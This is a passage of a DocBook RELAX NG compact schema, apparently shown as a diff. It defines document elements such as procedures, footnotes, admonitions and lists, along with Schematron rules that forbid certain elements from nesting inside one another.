db.common.attributes + & db.common.linking.attributes + & db.subject.weight.attribute? + db.subject = + + ## One of a group of terms describing the subject matter of a document + element subject { db.subject.attlist, db.subjectterm+ } +} +div { + db.subjectterm.role.attribute = attribute role { text } + db.subjectterm.attlist = + db.subjectterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subjectterm = + + ## A term in a group of terms describing the subject matter of a document + element subjectterm { db.subjectterm.attlist, text } +} +div { + db.keywordset.role.attribute = attribute role { text } + db.keywordset.attlist = + db.keywordset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keywordset = + + ## A set of keywords describing the content of a document + element keywordset { db.keywordset.attlist, db.keyword+ } +} +div { + db.keyword.role.attribute = attribute role { text } + db.keyword.attlist = + db.keyword.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keyword = + + ## One of a set of keywords describing the content of a document + element keyword { db.keyword.attlist, text } +} +db.table.choice = notAllowed | db.cals.table | db.html.table +db.informaltable.choice = + notAllowed | db.cals.informaltable | db.html.informaltable +db.table = db.table.choice +db.informaltable = db.informaltable.choice +div { + db.procedure.role.attribute = attribute role { text } + db.procedure.attlist = + db.procedure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.procedure.info = db._info.title.only + db.procedure = + + ## A list of operations to be performed in a well-defined sequence + element procedure { + db.procedure.attlist, db.procedure.info, db.all.blocks*, db.step+ + } +} +div { + db.step.role.attribute = attribute role { text } + db.step.attlist = + db.step.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.step.info = db._info.title.only + # + # This content model is blocks*, step|stepalternatives, blocks* but + # expressed this way it avoids UPA issues in XSD and DTD versions + db.step = + + ## A unit of action in a procedure + element step { + db.step.attlist, + db.step.info, + ((db.all.blocks+, + ((db.substeps | db.stepalternatives), db.all.blocks*)?) + | ((db.substeps | db.stepalternatives), db.all.blocks*)) + } +} +div { + db.stepalternatives.role.attribute = attribute role { text } + db.stepalternatives.attlist = + db.stepalternatives.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.stepalternatives.info = db._info.title.forbidden + db.stepalternatives = + + ## Alternative steps in a procedure + element stepalternatives { + db.stepalternatives.attlist, db.stepalternatives.info, db.step+ + } +} +div { + db.substeps.role.attribute = attribute role { text } + db.substeps.attlist = + db.substeps.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.substeps = + + ## A wrapper for steps that occur within steps in a procedure + element substeps { db.substeps.attlist, db.step+ } +} +div { + db.sidebar.role.attribute = attribute role { text } + db.sidebar.attlist = + db.sidebar.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.sidebar.info = db._info.title.only + db.sidebar = + + ## A portion of a document that is isolated from the main narrative flow + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:sidebar" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of sidebar" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sidebar { + db.sidebar.attlist, db.sidebar.info, db.all.blocks+ + } +} +div { + db.abstract.role.attribute = attribute role { text } + db.abstract.attlist = + db.abstract.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.abstract.info = db._info.title.only + db.abstract = + + ## A summary + element abstract { + db.abstract.attlist, db.abstract.info, db.para.blocks+ + } +} +div { + db.personblurb.role.attribute = attribute role { text } + db.personblurb.attlist = + db.personblurb.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.personblurb.info = db._info.title.only + db.personblurb = + + ## A short description or note about a person + element personblurb { + db.personblurb.attlist, db.personblurb.info, db.para.blocks+ + } +} +div { + db.blockquote.role.attribute = attribute role { text } + db.blockquote.attlist = + db.blockquote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.blockquote.info = db._info.title.only + db.blockquote = + + ## A quotation set off from the main text + element blockquote { + db.blockquote.attlist, + db.blockquote.info, + db.attribution?, + (db.para.blocks | db.literallayout)+ + } +} +div { + db.attribution.role.attribute = attribute role { text } + db.attribution.attlist = + db.attribution.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.attribution = + + ## The source of a block quote or epigraph + element attribution { + db.attribution.attlist, + (db._text | db.personname | db.citetitle | db.citation)* + } +} +div { + db.bridgehead.renderas.enumeration = + + ## Render as a first-level section + "sect1" + | + ## Render as a second-level section + "sect2" + | + ## Render as a third-level section + "sect3" + | + ## Render as a fourth-level section + "sect4" + | + ## Render as a fifth-level section + "sect5" + db.bridgehead.renderas-enum.attribute = + + ## Indicates how the bridge head should be rendered + attribute renderas { db.bridgehead.renderas.enumeration }? + db.bridgehead.renderas-other.attribute = + + ## Identifies the nature of the non-standard rendering + attribute otherrenderas { xsd:NMTOKEN } + db.bridgehead.renderas-other.attributes = + + ## Indicates how the bridge head should be rendered + attribute renderas { + + ## Identifies a non-standard rendering + "other" + } + & db.bridgehead.renderas-other.attribute + db.bridgehead.renderas.attribute = + db.bridgehead.renderas-enum.attribute + | db.bridgehead.renderas-other.attributes + db.bridgehead.role.attribute = attribute role { text } + db.bridgehead.attlist = + db.bridgehead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bridgehead.renderas.attribute? + db.bridgehead = + + ## A free-floating heading + element bridgehead { db.bridgehead.attlist, db.all.inlines* } +} +div { + db.remark.role.attribute = attribute role { text } + db.remark.attlist = + db.remark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.remark = + + ## A remark (or comment) intended for presentation in a draft manuscript + element remark { db.remark.attlist, db._text } +} +div { + db.epigraph.role.attribute = attribute role { text } + db.epigraph.attlist = + db.epigraph.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.epigraph.info = db._info.title.forbidden + db.epigraph = + + ## A short inscription at the beginning of a document or component + element epigraph { + db.epigraph.attlist, + db.epigraph.info, + db.attribution?, + (db.para.blocks | db.literallayout)+ + } +} +div { + db.footnote.role.attribute = attribute role { text } + db.footnote.label.attribute = + + ## Identifies the desired footnote mark + attribute label { xsd:NMTOKEN } + db.footnote.attlist = + db.footnote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.footnote.label.attribute? + db.footnote = + + ## A footnote + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:footnote)" + "footnote must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:epigraph)" + "epigraph must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element footnote { db.footnote.attlist, db.all.blocks+ } +} +div { + db.formalpara.role.attribute = attribute role { text } + db.formalpara.attlist = + db.formalpara.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.formalpara.info = db._info.title.onlyreq + db.formalpara = + + ## A paragraph with a title + element formalpara { + db.formalpara.attlist, + db.formalpara.info, + db.indexing.inlines*, + db.para + } +} +div { + db.para.role.attribute = attribute role { text } + db.para.attlist = + db.para.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.para.info = db._info.title.forbidden + db.para = + + ## A paragraph + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:para" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element para { + db.para.attlist, + db.para.info, + (db.all.inlines | db.nopara.blocks)* + } +} +div { + db.simpara.role.attribute = attribute role { text } + db.simpara.attlist = + db.simpara.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.simpara.info = db._info.title.forbidden + db.simpara = + + ## A paragraph that contains only text and inline markup, no block elements + element simpara { + db.simpara.attlist, db.simpara.info, db.all.inlines* + } +} +db.admonition.contentmodel = db._info.title.only, db.all.blocks+ +div { + db.caution.role.attribute = attribute role { text } + db.caution.attlist = + db.caution.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.caution = + + ## A note of caution + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caution" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caution { db.caution.attlist, db.admonition.contentmodel } +} +div { + db.important.role.attribute = attribute role { text } + db.important.attlist = + db.important.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.important = + + ## An admonition set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:important" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of important" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element important { + db.important.attlist, db.admonition.contentmodel + } +} +div { + db.note.role.attribute = attribute role { text } + db.note.attlist = + db.note.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.note = + + ## A message set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:note" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of note" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element note { db.note.attlist, db.admonition.contentmodel } +} +div { + db.tip.role.attribute = attribute role { text } + db.tip.attlist = + db.tip.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.tip = + + ## A suggestion to the user, set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:tip" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of tip" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element tip { db.tip.attlist, db.admonition.contentmodel } +} +div { + db.warning.role.attribute = attribute role { text } + db.warning.attlist = + db.warning.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.warning = + + ## An admonition set off from the text + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:warning" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of warning" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element warning { db.warning.attlist, db.admonition.contentmodel } +} +div { + db.itemizedlist.role.attribute = attribute role { text } + db.itemizedlist.mark.attribute = + + ## Identifies the type of mark to be used on items in this list + attribute mark { xsd:NMTOKEN } + db.itemizedlist.attlist = + db.itemizedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.itemizedlist.mark.attribute? + db.itemizedlist.info = db._info.title.only + db.itemizedlist = + + ## A list in which each entry is marked with a bullet or other dingbat + element itemizedlist { + db.itemizedlist.attlist, + db.itemizedlist.info, + db.all.blocks*, + db.listitem+ + } +} +div { + db.orderedlist.role.attribute = attribute role { text } + db.orderedlist.continuation.enumeration = + + ## Specifies that numbering should begin where the preceding list left off + "continues" + | + ## Specifies that numbering should begin again at 1 + "restarts" + db.orderedlist.continuation.attribute = + + ## Indicates how list numbering should begin relative to the immediately preceding list + attribute continuation { db.orderedlist.continuation.enumeration } + db.orderedlist.inheritnum.enumeration = + + ## Specifies that numbering should ignore list nesting + "ignore" + | + ## Specifies that numbering should inherit from outer-level lists + "inherit" + db.orderedlist.inheritnum.attribute = + + ## Indicates whether or not item numbering should be influenced by list nesting + attribute inheritnum { db.orderedlist.inheritnum.enumeration } + db.orderedlist.numeration.enumeration = + + ## Specifies Arabic numeration (1, 2, 3, …) + "arabic" + | + ## Specifies upper-case alphabetic numeration (A, B, C, …) + "upperalpha" + | + ## Specifies lower-case alphabetic numeration (a, b, c, …) + "loweralpha" + | + ## Specifies upper-case Roman numeration (I, II, III, …) + "upperroman" + | + ## Specifies lower-case Roman numeration (i, ii, iii …) + "lowerroman" + db.orderedlist.numeration.attribute = + + ## Indicates the desired numeration + attribute numeration { db.orderedlist.numeration.enumeration } + db.orderedlist.attlist = + db.orderedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.orderedlist.continuation.attribute? + & db.orderedlist.inheritnum.attribute? + & db.orderedlist.numeration.attribute? + db.orderedlist.info = db._info.title.only + db.orderedlist = + + ## A list in which each entry is marked with a sequentially incremented label + element orderedlist { + db.orderedlist.attlist, + db.orderedlist.info, + db.all.blocks*, + db.listitem+ + } +} +div { + db.listitem.role.attribute = attribute role { text } + db.listitem.override.attribute = + + ## Specifies the keyword for the type of mark that should be used on this + ## item, instead of the mark that would be used by default + attribute override { xsd:NMTOKEN } + db.listitem.attlist = + db.listitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.listitem.override.attribute? + db.listitem = + + ## A wrapper for the elements of a list item + element listitem { db.listitem.attlist, db.all.blocks+ } +} +div { + db.segmentedlist.role.attribute = attribute role { text } + db.segmentedlist.attlist = + db.segmentedlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.segmentedlist.info = db._info.title.only + db.segmentedlist = + + ## A segmented list, a list of sets of elements + element segmentedlist { + db.segmentedlist.attlist, + db.segmentedlist.info, + db.segtitle+, + db.seglistitem+ + } +} +div { + db.segtitle.role.attribute = attribute role { text } + db.segtitle.attlist = + db.segtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.segtitle = + + ## The title of an element of a list item in a segmented list + element segtitle { db.segtitle.attlist, db.all.inlines* } +} +div { + db.seglistitem.role.attribute = attribute role { text } + db.seglistitem.attlist = + db.seglistitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seglistitem = + + ## A list item in a segmented list + [ + s:pattern [ + name = "Cardinality of segments and titles" + "\x{a}" ~ + " " + s:rule [ + context = "db:seglistitem" + "\x{a}" ~ + " " + s:assert [ + test = "count(db:seg) = count(../db:segtitle)" + "The number of seg elements must be the same as the number of segtitle elements in the parent segmentedlist" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element seglistitem { db.seglistitem.attlist, db.seg+ } +} +div { + db.seg.role.attribute = attribute role { text } + db.seg.attlist = + db.seg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seg = + + ## An element of a list item in a segmented list + element seg { db.seg.attlist, db.all.inlines* } +} +div { + db.simplelist.role.attribute = attribute role { text } + db.simplelist.type.enumeration = + + ## A tabular presentation in row-major order. + "horiz" + | + ## A tabular presentation in column-major order. + "vert" + | + ## An inline presentation, usually a comma-delimited list. + "inline" + db.simplelist.type.attribute = + + ## Specifies the type of list presentation. + [ a:defaultValue = "vert" ] + attribute type { db.simplelist.type.enumeration } + db.simplelist.columns.attribute = + + ## Specifies the number of columns for horizontal or vertical presentation + attribute columns { xsd:integer } + db.simplelist.attlist = + db.simplelist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.simplelist.type.attribute? + & db.simplelist.columns.attribute? + db.simplelist = + + ## An undecorated list of single words or short phrases + element simplelist { db.simplelist.attlist, db.member+ } +} +div { + db.member.role.attribute = attribute role { text } + db.member.attlist = + db.member.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.member = + + ## An element of a simple list + element member { db.member.attlist, db.all.inlines* } +} +div { + db.variablelist.role.attribute = attribute role { text } + db.variablelist.termlength.attribute = + + ## Indicates a length beyond which the presentation system may consider a term too long and select an alternate presentation for that term, item, or list + attribute termlength { text } + db.variablelist.attlist = + db.variablelist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spacing.attribute? + & db.variablelist.termlength.attribute? + db.variablelist.info = db._info.title.only + db.variablelist = + + ## A list in which each entry is composed of a set of one or more terms and an associated description + element variablelist { + db.variablelist.attlist, + db.variablelist.info, + db.all.blocks*, + db.varlistentry+ + } +} +div { + db.varlistentry.role.attribute = attribute role { text } + db.varlistentry.attlist = + db.varlistentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varlistentry = + + ## A wrapper for a set of terms and the associated description in a variable list + element varlistentry { + db.varlistentry.attlist, db.term+, db.listitem + } +} +div { + db.term.role.attribute = attribute role { text } + db.term.attlist = + db.term.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.term = + + ## The word or phrase being defined or described in a variable list + element term { db.term.attlist, db.all.inlines* } +} +div { + db.example.role.attribute = attribute role { text } + db.example.label.attribute = db.label.attribute + db.example.width.attribute = db.width.characters.attribute + db.example.floatstyle.attribute = db.floatstyle.attribute + db.example.attlist = + db.example.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.example.label.attribute? + & db.example.floatstyle.attribute? + & db.example.width.attribute? + db.example.info = db._info.title.onlyreq + db.example = + + ## A formal example, with a title + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:example" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of example" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element example { + db.example.attlist, db.example.info, db.all.blocks+, db.caption? + } +} +div { + db.informalexample.role.attribute = attribute role { text } + db.informalexample.width.attribute = db.width.characters.attribute + db.informalexample.floatstyle.attribute = db.floatstyle.attribute + db.informalexample.attlist = + db.informalexample.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.informalexample.floatstyle.attribute? + & db.informalexample.width.attribute? + db.informalexample.info = db._info.title.forbidden + db.informalexample = + + ## A displayed example without a title + element informalexample { + db.informalexample.attlist, + db.informalexample.info, + db.all.blocks+, + db.caption? + } +} +db.verbatim.inlines = (db.all.inlines | db.lineannotation) | db.co +db.verbatim.contentmodel = + db._info.title.forbidden, (db.textobject | db.verbatim.inlines*) +div { + db.programlisting.role.attribute = attribute role { text } + db.programlisting.width.attribute = db.width.characters.attribute + db.programlisting.attlist = + db.programlisting.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.programlisting.width.attribute? + db.programlisting = + + ## A literal listing of all or part of a program + element programlisting { + db.programlisting.attlist, db.verbatim.contentmodel + } +} +div { + db.literallayout.role.attribute = attribute role 